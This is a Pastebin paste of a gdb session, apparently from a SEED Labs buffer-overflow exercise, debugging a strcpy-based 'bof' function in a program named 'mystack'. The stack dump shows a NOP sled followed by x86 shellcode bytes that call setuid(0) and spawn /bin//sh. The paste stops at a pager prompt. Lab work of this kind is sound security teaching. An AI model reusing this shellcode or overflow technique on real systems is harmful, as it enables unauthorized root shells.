Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@VM:/home/seed/lab2# gdb --quiet mystack
- Reading symbols from mystack...(no debugging symbols found)...done.
- (gdb) dissasemble bof
- Undefined command: "dissasemble". Try "help".
- (gdb)
- (gdb) disassemble bof
- Dump of assembler code for function bof:
- 0x080484bb <+0>: push %ebp
- 0x080484bc <+1>: mov %esp,%ebp
- 0x080484be <+3>: sub $0x18,%esp
- 0x080484c1 <+6>: sub $0x8,%esp
- 0x080484c4 <+9>: pushl 0x8(%ebp)
- 0x080484c7 <+12>: lea -0x14(%ebp),%eax
- 0x080484ca <+15>: push %eax
- 0x080484cb <+16>: call 0x8048370 <strcpy@plt>
- 0x080484d0 <+21>: add $0x10,%esp
- 0x080484d3 <+24>: mov $0x1,%eax
- 0x080484d8 <+29>: leave
- 0x080484d9 <+30>: ret
- End of assembler dump.
- (gdb) b *0x080484c4
- Breakpoint 1 at 0x80484c4
- (gdb) i r &ebp
- The program has no registers now.
- (gdb) i r $ebp
- The program has no registers now.
- (gdb) r
- Starting program: /home/seed/lab2/mystack
- [Thread debugging using libthread_db enabled]
- Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
- Breakpoint 1, 0x080484c4 in bof ()
- (gdb) i r $ebp
- ebp 0xbfffebc8 0xbfffebc8
- (gdb) x/50xb 0xbfffeccc
- 0xbfffeccc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecd4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecdc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffece4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecec: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecf4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecfc: 0x90 0x90
- (gdb) x/500xb 0xbfffeccc
- 0xbfffeccc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecd4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecdc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffece4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecec: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecf4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffecfc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed04: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed0c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed14: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed1c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed24: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed2c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed34: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed3c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed44: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed4c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed54: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed5c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed64: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed6c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed74: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed7c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed84: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed8c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed94: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffed9c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffeda4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffedac: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffedb4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffedbc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
- 0xbfffedc4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x31
- 0xbfffedcc: 0xc0 0x31 0xdb 0xb0 0xd5 0xcd 0x80 0x31
- 0xbfffedd4: 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68
- 0xbfffeddc: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50 0x53
- 0xbfffede4: 0x89 0xe1 0x99 0xb0 0x0b 0xcd 0x80 0x00
- 0xbfffedec: 0x88 0xfa 0x04 0x08 0xdc 0xc3 0xf1 0xb7
- 0xbfffedf4: 0x10 0xee 0xff 0xbf 0x00 0x00 0x00 0x00
- 0xbfffedfc: 0x37 0x26 0xd8 0xb7 0x00 0xc0 0xf1 0xb7
- 0xbfffee04: 0x00 0xc0 0xf1 0xb7 0x00 0x00 0x00 0x00
- 0xbfffee0c: 0x37 0x26 0xd8 0xb7 0x01 0x00 0x00 0x00
- 0xbfffee14: 0xa4 0xee 0xff 0xbf 0xac 0xee 0xff 0xbf
- 0xbfffee1c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
- 0xbfffee24: 0x00 0x00 0x00 0x00 0x00 0xc0 0xf1 0xb7
- 0xbfffee2c: 0x04 0xfc 0xff 0xb7 0x00 0xf0 0xff 0xb7
- 0xbfffee34: 0x00 0x00 0x00 0x00 0x00 0xc0 0xf1 0xb7
- 0xbfffee3c: 0x00 0xc0 0xf1 0xb7 0x00 0x00 0x00 0x00
- 0xbfffee44: 0xac 0xb4 0x8a 0x6a 0xbc 0x7a 0x1d 0x25
- ---Type <return> to continue, or q <return> to quit---
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement